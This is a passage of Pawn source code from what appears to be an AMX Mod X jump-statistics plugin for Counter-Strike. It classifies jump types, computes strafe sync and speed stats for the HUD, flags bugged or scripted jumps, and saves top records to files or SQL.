						case 18: t_type=2;
						case 19: t_type=2;
						case 3: t_type=3;
						case 5: t_type=3;
						case 21: t_type=3;
						case 22: t_type=3;
						case 13: t_type=4;
						case 23: t_type=5;
						case 24: t_type=5;
						case 12: t_type=6;
					}
					
					if(uq_bug==1 && check_for_bug_distance(distance[id],t_type,Pmaxspeed))
					{
						JumpReset(id,2311);
						return FMRES_IGNORED;
					}
					if(uq_bug==1)
					{
						new Float:b_check=2.1;
						
						if(jump_type[id]==Type_ladder)
						{
							b_check=b_check-0.1;
						}
						
						if((maxspeed[id]+prestrafe[id])/distance[id]<b_check)
						{
							JumpReset(id,23451);
							return FMRES_IGNORED;
						}
					}
					new god_dist,leet_dist,holy_dist,pro_dist,good_dist;
					new d_array[5];
					
					d_array=get_colorchat_by_distance(jump_type[id],Pmaxspeed,tmp_dist,dropaem[id],multiscj[id],aircj);
					god_dist=d_array[4];
					leet_dist=d_array[3];
					holy_dist=d_array[2];
					pro_dist=d_array[1];
					good_dist=d_array[0];
					
					new script_dist;
					if(angles_arry[id]>SCRIPTFRAMES && uq_script_detection)
					{
						script_dist=god_dist;
						
						switch(uq_script_work)
						{
							case 0:
								script_dist=good_dist;
							case 1:
								script_dist=pro_dist;
							case 2:
								script_dist=holy_dist;
							case 3:
								script_dist=leet_dist;
							case 4:
								script_dist=god_dist;
						}
					}
					
					new bool:not_save;//DE MODIFICAT
					if((jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && prestrafe[id]>kkk && !uq_noslow)
					{
						not_save=true;
					}
					else if(prestrafe[id]>Pmaxspeed*1.2 && !uq_noslow)
					{
						not_save=true;
					}
					else not_save=false;
					
					new bool:find_script;
					if(strafe_num[id]>4 && angles_arry[id]>SCRIPTFRAMES && uq_script_detection && distance[id]>script_dist && !not_save)
					{
						if(FullJumpFrames[id]>80)
							failed_jump[id]=true;
						else
							find_script=true;
					}
					
					//streifs stat
					sync_[id] = INFO_ZERO;
					strMess[0] = '^0'; //unnecessary?
					strMessBuf[0] = '^0'; //unnecessary?
					strLen = INFO_ZERO;
					badSyncTemp = INFO_ZERO;
					goodSyncTemp = INFO_ZERO;
					new Float:tmpstatspeed[NSTRAFES],Float:tmpstatpoteri[NSTRAFES];
								
					Fulltime = last_land_time[id]-jumpoff_time[id];
					if(strafe_num[id] < NSTRAFES)
					{
						strafe_stat_time[id][0] = jumpoff_time[id];
						strafe_stat_time[id][strafe_num[id]] =last_land_time[id];
						for(jj = 1;jj <= strafe_num[id]; jj++)
						{
							//client_print(id,print_chat,"%d=%d,%d - %d",jj,strafe_stat_sync[id][jj][0],strafe_stat_sync[id][jj][1],strafe_lost_frame[id][jj]);

							time_ = ((strafe_stat_time[id][jj] - strafe_stat_time[id][jj-1])*100) / (Fulltime);
							if ((strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]) > 0)
							{
								sync_[id] =(strafe_stat_sync[id][jj][0] * 100)/(strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]); //using like a buffer		
							}				
							else
							{
								sync_[id] = 0;
							}
							strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS1", jj, strafe_stat_speed[id][jj][0], strafe_stat_speed[id][jj][1], time_, sync_[id]);
							goodSyncTemp += strafe_stat_sync[id][jj][0];
							badSyncTemp += strafe_stat_sync[id][jj][1];
							tmpstatspeed[jj]=strafe_stat_speed[id][jj][0];
							tmpstatpoteri[jj]=strafe_stat_speed[id][jj][1];
							
							if(tmpstatpoteri[jj]>200)
							{
								if(duckstring[id]==false)
								duckstring[id]=true;
							}
							if(tmpstatpoteri[jj]>200 && Checkframes[id])
							{
								Checkframes[id]=false;
								failed_jump[id]=true;
							}
						}
						//client_print(id,print_chat,"full=%d - %d,%d",FullJumpFrames[id],strafe_stat_sync[id][0][0],strafe_stat_sync[id][0][1]);

						if(strafe_num[id]!=0)
						{
							if (jump_type[id]==Type_ladder && strafe_stat_speed[id][0][0]!=0)
							{	
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS2",strafe_stat_speed[id][0][0]);
							}
							if (duckstring[id]==false)
							{							
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS3");
							}
							if (jump_type[id]==Type_StandupBhopLongJump || jump_type[id]==Type_Up_Stand_Bhop)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS4");
							}
							if(wpn!=29 && wpn!=17 && wpn!=16)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS5",weapon_name);
							}
							
							if(Show_edge[id] && failed_jump[id]==false && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
							{
								if((jumpblock[id]+Landing+edgedist[id])>(distance[id]+10.0) || Landing<=0.0)
								{
									strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS6",jumpblock[id],edgedist[id]);
								}
								else if(land_bug)
								{
									strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS7",jumpblock[id],edgedist[id],Landing);
								}
								else strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS8",jumpblock[id],edgedist[id],Landing);
							}
							else if(Show_edge[id] && failed_jump[id] && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0)
							{
								strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS9",jumpblock[id],edgedist[id]);
							}
							else if(Show_edge_Fail[id] && failed_jump[id] && jump_type[id]!=Type_ladder && edgedist[id]<100.0 && edgedist[id]!=0.0)
							{
								strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS10",edgedist[id]);	
							}
							if(jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop_In_Duck)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS11",upheight[id]);
							}
							if(fps_hight[id] && jump_type[id]!=Type_ladder)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS12");
							}
							if(ladderbug[id])
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS13");
								failed_jump[id]=true;
							}
							if(find_ladder[id] && jump_type[id]==Type_DuckBhop)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS14");
								failed_jump[id]=true;
							}
							if(touch_somthing[id])
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS15");
							}
							if(find_script)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS16");
								failed_jump[id]=true;
							}
							if(trigger_protection[id])
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_TRIGGERPROTECT");
							}
						}
					}
					//Sync
					if( goodSyncTemp > 0 ) sync_[id]=(goodSyncTemp*100/(goodSyncTemp+badSyncTemp));
					else sync_[id] = INFO_ZERO;
					
					switch( jump_type[id] )
					{
						case 0: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE1"); //Lj
						case 1: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE2" ); //hj
						case 2: 
						{
							if(CjafterJump[id]==1)
							{
								if(ddforcjafterbhop[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE3" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAB");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAB");
								}
								else if(ddforcjafterladder[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE4" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAL");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAL");
								}
								else
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE5" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAJ");
								}
							}
							else formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE6" ); //cj
						}
						case 3: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE7" );//bj
						case 4: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE8" );//??
						case 5: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE9" );//sbj
						case 6: 
						{
							if(ddbeforwj[id]==false)
							{
								formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE10" ); //wj
							}
							else
							{
								formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE11" );
							}
						}
						case 7: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE12" );
						case 9:
						{
							if(CjafterJump[id]==2)
							{
								if(ddforcjafterbhop[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE13" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAB");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAB");
								}
								else if(ddforcjafterladder[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE14" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAL");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAL");
								}
								else
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE15" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAJ");
								}
							}
							else formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE16" ); //dcj
						}
						case 11: 
						{
							if(CjafterJump[id]==3)
							{
								if(ddforcjafterbhop[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE17" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAB");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAB");
								}
								else if(ddforcjafterladder[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE18" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAL");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAL");
								}
								else
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE19" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAJ");
								}
							}
							else formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE20" );//mcj
						}
						case 12: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE21" );//nothing
						case 13: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE22" );//ld
						case 15: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE23" );
						case 16: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE24" );
						case 17: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE25" );
						case 18:
						{	
							if(multidropcj[id]==0)
							{
								formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE26" );
							}
							else if(multidropcj[id]==1)
							{
								formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE27" );
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPDCJ");
							}
							else if(multidropcj[id]==2)
							{
								formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE28" );
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPMCJ");
							}
						}
						case 19:
						{	if(dropaem[id])
							{
								if(multiscj[id]==0)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE29" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPSCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DROPSCJ");
								}
								else if(multiscj[id]==1)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE30" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPDSCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DROPDSCJ");
								}
								else if(multiscj[id]==2)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE31" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPMSCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DROPMSCJ");
									
								}
							}
							else if(ddstandcj[id])
							{
								if(multiscj[id]==0)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE32" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_SCJAF");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_SCJAF");
								}
								else if(multiscj[id]==1)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE33" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DSCJAF");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DSCJAF");
								}
								else if(multiscj[id]==2)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE34" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MSCJAF");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MSCJAF");
								}
							}
							else
							{
								if(multiscj[id]==0)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE35" );
								}
								else if(multiscj[id]==1)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE36" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DSCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DSCJ");
								}
								else if(multiscj[id]==2)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE37" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MSCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MSCJ");
								}
							}
						}
						case 20:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE38" );
						case 21:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE39" );
						case 22:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE40" );
						case 23:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE41");
						case 24:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE42");
					}
					//gain
					
					
					
					new Float:gain[33];
					gain[id] = floatsub( maxspeed[id], prestrafe[id] );
			
					if(jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==0 && uq_drsbj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==1 && uq_dscj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==2 && uq_mscj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==0 && uq_dropscj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==1 && uq_dropdscj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==2 && uq_dropmscj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Double_CountJump&& uq_dcj==0)
					{
						JumpReset(id,13);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Multi_CountJump && uq_mcj==0)
					{
						JumpReset(id,14);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_CountJump && uq_cj==0)
					{
						JumpReset(id,15);
						return FMRES_IGNORED;
					}
					else if((jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && uq_lj==0)
					{
						JumpReset(id,16);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_ladder && uq_ladder==0)
					{
						JumpReset(id,17);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Bhop_In_Duck && (uq_bhopinduck==0 )) 
					{
						JumpReset(id,18);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_DuckBhop && (uq_duckbhop==0 )) 
					{
						JumpReset(id,18);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Up_Bhop && (uq_upbj==0) ) 
					{
						JumpReset(id,18);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Up_Bhop_In_Duck && (uq_upbhopinduck==0 )) 
					{
						JumpReset(id,18);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_BhopLongJump && uq_bj==0) 
					{
						JumpReset(id,19);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_ladderBhop && uq_ldbj==0)
					{
						JumpReset(id,20);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Real_ladder_Bhop && uq_realldbhop==0)
					{
						JumpReset(id,20);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_WeirdLongJump && uq_wj==0) 
					{
						JumpReset(id,21);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==0 && uq_drcj==0)
					{
						JumpReset(id,22);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==1 && uq_dropdcj==0)
					{
						JumpReset(id,22);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==2 && uq_dropmcj==0)
					{
						JumpReset(id,22);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Drop_BhopLongJump && uq_drbj==0)
					{
						JumpReset(id,23);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandupBhopLongJump && uq_sbj==0)
					{
						JumpReset(id,24);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Up_Stand_Bhop && uq_upsbj==0)
					{
						JumpReset(id,24);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Multi_Bhop && uq_multibhop==0)
					{
						JumpReset(id,242);
						return FMRES_IGNORED;
					}
					
					for(new i=1;i<NSTRAFES;i++)
					{
						if(tmpstatspeed[i]>40 && jump_type[id]!=Type_ladder && jump_type[id]!=Type_Real_ladder_Bhop && jump_type[id]!=Type_Slide)
						{
							JumpReset(id,40);
							return FMRES_IGNORED;
						}
					}
					
					if(jump_type[id]==Type_Multi_Bhop && multibhoppre[id]==false)
					{
						g_reset[id]=true;
						return FMRES_IGNORED;
					}
					if(!failed_jump[id] && !not_save)
					{
						new tmp_type_num=-1;
						
						//saving tops
						if(!ddstandcj[id] && !CjafterJump[id] && jump_type[id]!=Type_None && jump_type[id]!=Type_Null && jump_type[id]!=Type_Nothing && jump_type[id]!=Type_Nothing2 && Pmaxspeed==250.0 && kz_top==1 && kz_map_top==1)
						{
							checkmap( id, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],Jtype1[id]); 
						}
						
						if(!CjafterJump[id] && jump_type[id]==Type_Double_CountJump && kz_top==1 && uq_dcj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[10],10, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[10],10, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[6],6, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
									
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[6],6,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"doublecj_top");
								tmp_type_num=10;
							}
						}
						else if(!CjafterJump[id] && jump_type[id]==Type_Multi_CountJump && kz_top==1 && uq_mcj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops2( id,Type_List[21],21, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[21],21, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[7],7, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
									
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[7],7,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"multicj_top");
								tmp_type_num=21;
							}
						}
						else if(!CjafterJump[id] && jump_type[id]==Type_CountJump && kz_top==1 && uq_cj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[2],2, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[2],2, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[1],1, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
									
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[1],1,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"cj_top");
								tmp_type_num=2;
							}
						}
						else if((jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && kz_top==1 && uq_lj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[0],0, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										if(jump_type[id]==Type_HighJump)
										{
											checktops_block( id,"hj",6, distance[id], edgedist[id], jumpblock[id]); 
										}
										else checktops_block( id,Type_List[0],0, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[0],0, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
								
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										if(jump_type[id]==Type_HighJump)
										{
											checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),"hj",9,distance[id],edgedist[id],jumpblock[id],weapon_name); 
										}
										else checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[0],0,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"lj_top");
								tmp_type_num=0;
							}
						}
						else if(jump_type[id]==Type_ladder && kz_top==1 && uq_ladder==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[6],6, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
								}
								
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"ladder_top");
								tmp_type_num=6;
							}
						}
						else if(jump_type[id]==Type_BhopLongJump && kz_top==1 && uq_bj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[4],4, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[4],4, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[3],3, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
								
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[3],3,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"bj_top");
								tmp_type_num=4;
							}
						}
						else if(jump_type[id]==Type_ladderBhop && kz_top==1 && uq_ldbj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0) 
								{
									checktops1( id,Type_List[7],7, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[7],7, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"ladderbhop_top");
								tmp_type_num=7;
							}
						}
						else if(jump_type[id]==Type_WeirdLongJump && kz_top==1 && uq_wj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[3],3, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[3],3, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[2],2, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
									
